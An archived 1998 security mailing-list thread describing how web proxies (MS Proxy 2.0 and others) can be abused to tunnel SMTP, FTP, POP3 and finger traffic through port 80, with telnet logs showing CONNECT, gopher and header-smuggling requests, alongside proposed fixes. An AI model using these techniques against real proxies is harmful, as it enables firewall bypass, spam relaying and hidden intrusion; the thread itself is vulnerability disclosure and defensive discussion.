> Date: Thu, 08 Oct 1998 08:27:36 +0100 > From: "Mnemonix" <mnemonixat_private> > > Firstly it seems that most web-based proxies, not just MS Proxy, are > susceptible to this kind of attack. Thanks to Greg Jones and others for > doing some testing on this. Most proxies will understand CONNECT (used for SSL tunneling) as well. That's definitely more efficient than POSTing through HTTP: % telnet proxy 80 CONNECT foobar:25 HTTP/1.0 220 foobar Sendmail 5.65 ready HELO dummy 250 Hi, pleased to meet you QUIT 221 foofar closing connection Before CONNECT existed, Gopher URLs had been sometimes useful, but I haven't verified which proxies still understand them: GET gopher://foobar:25/0HELO%20dummy%0D%0AQUIT 220 foobar Sendmail 5.65 ready 250 Hi, pleased to meet you 221 foofar closing connection GET gopher://foobar:79/0root Login name: root In real life: Operator Directory: / Shell: /bin/ksh On since Sep 28 17:35:56 on ttyq6 49 minutes Idle Time No unread mail No Plan. HTTP POST is limited: telnet, NetBios etc. will not work, while CONNECT will pass them straightforward. It's a shame that some Firewall vendors don't allow to disable this feature from their HTTP proxy, or at least by default restrict destination to ports officially assigned to SSL services (443, 563 etc). That would limit attack possibilities when, as you explained, the proxy can be used in both directions. This is also why one should use "reversed" HTTP proxies with extreme care: fwtk folks, for example, use plug-gw rather than http-gw for DMZ or internal Web server access from the outside. Don't you ? -JCT- > > Whilst playing around with Microsoft's Proxy Server 2, I came across an > > interesting "feature" that could allow someone to by-pass packet > filtering > > if enabled. > > The essence of the "exploit" is to connect to a remote host on a given > port > > - in the example provided I have used the SMTP port (25) - through the > Web > > Proxy Service. > > The Web-proxy is listening on TCP port 80. I telnet to port 80 and make an > HTTP request. > > > What you attempt to do is disguise service-specific commands as HTTP > > headers. Below is a log of a telnet session where I've telnetted to the > Web > > Proxy Service, made a GET request and passed off the SMTP commands as > HTTP > > headers : > > > > > ------------------------------------------8<-------------------------------- > > > ---------- > > GET http://smtpmail.globalnet.co.uk:25/ HTTP/1.0 > > mail from: meat_private > > rcpt to: mnemonixat_private > > data : > > Subject: This is the Subject Line > > : > > This is the body of the message. To get here do a Ctrl+J. To place a > > single dot on a line do another Ctrl+J > > . > > > > 220 sand2.global.net.uk ESMTP Exim 1.92 #1 Wed, 7 Oct 1998 06:51:37 +0100 > > 500 Command unrecognized > > 500 Command unrecognized > > 500 Command unrecognized > > 250 <meat_private> is syntactically correct > > 250 <mnemonixat_private> is syntactically correct > > 354 Enter message, ending with "." on a line by itself > > 250 OK id=0zQmVd-0007md-00 > > 500 Command unrecognized > > 500 Command unrecognized > > > > > ------------------------------------------8<-------------------------------- > > > --------- > > > What is happening here is that the proxy interprets everything with line or > continuous string with a ":" (colon) as a header and so passes it on to the > final destination. The proxy server also adds some of its own HTTP headers > such as "Via: proxy_name", "Host: final_destination", "Connection: > Keep-Alive" as well as the orignal "GET / HTTP/1.0" (This is why you get > some "Command Unrecognised"s. > > For a service like FTP or POP3 you can string all the commands together > like so: > > GET http://some.server:21_or_110/ HTTP/1.0 > :(CTRL+J) > user whoever(CTRL+J) > pass whatever(CTRL+J) > stat(CTRL+J) > etc = etc and finish with ENTER. > > > > > Note- everything is stored up and then on you pressing enter twice it is > sent to the target in a oner - the target buffers the headers and deals > with them sequentially. Some it understands - eg your stealthed-as-HTTP > headers and others it doesn't eg the real HTTP proxy headers. > > Okay - that's the how - now what can be done with it? > > Depending on the configuration of the proxy server it may allow external > attackers to come in off the internet and access services or machines > through a packet filter that ONLY allows incoming requests on port 80. Once > you are onto the proxy server requests are passed off the internal > interface to machines inside your "protected" LAN - making it as though the > packet filter was not there. > > In publicly acessible proxies - attacks can be launched against other > machines across the Internet and to a certain degree hide the attacker's > own IP address on the target machine. > > This method of attack can be used to by-pass IP address trust (or distrust) > mechanisms as well as to exploit with r* unix daemons. > > There are many ways this can be exploited - too many to list in detail - > (I've got to go to work now ;-) but because of this I'd suggest as a > solution something like the following: > > Rather than relying on the Admin to configure the proxy properly would it > not be safer to get the proxy to filter out unkown headers. For example > most browsers will specify a "User-Agent:" header - the proxy should pass > this through - but it should remove a non-standard "HTTP" header like "mail > from: meat_private" - since when do browsers use this as an HTTP header - > other than when used for subversive activities. There should also be a > mechanism where it will strip out headers containing the hex value \x08 > (CTRL+J) - because you could do this : > > User-Agent: Mozilla/2.0(CTRL+J) > Command 1(CTRL+J) > Command 2(CTRL+J) > Command 3(CTRL+J) > etc etc > > > > This was tested on NT Server 4.0, Service Pack 3 with important hotfixes, > > IIS 3.0 and MS Proxy 2.0 > > Originally - but as was stated other web-pased proxies are also > susceptible. > > Cheers and l8r > > Mnemonix > http://www.diligence.co.uk/ > http://www.infowar.co.uk/mnemonix
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:19:05 PDT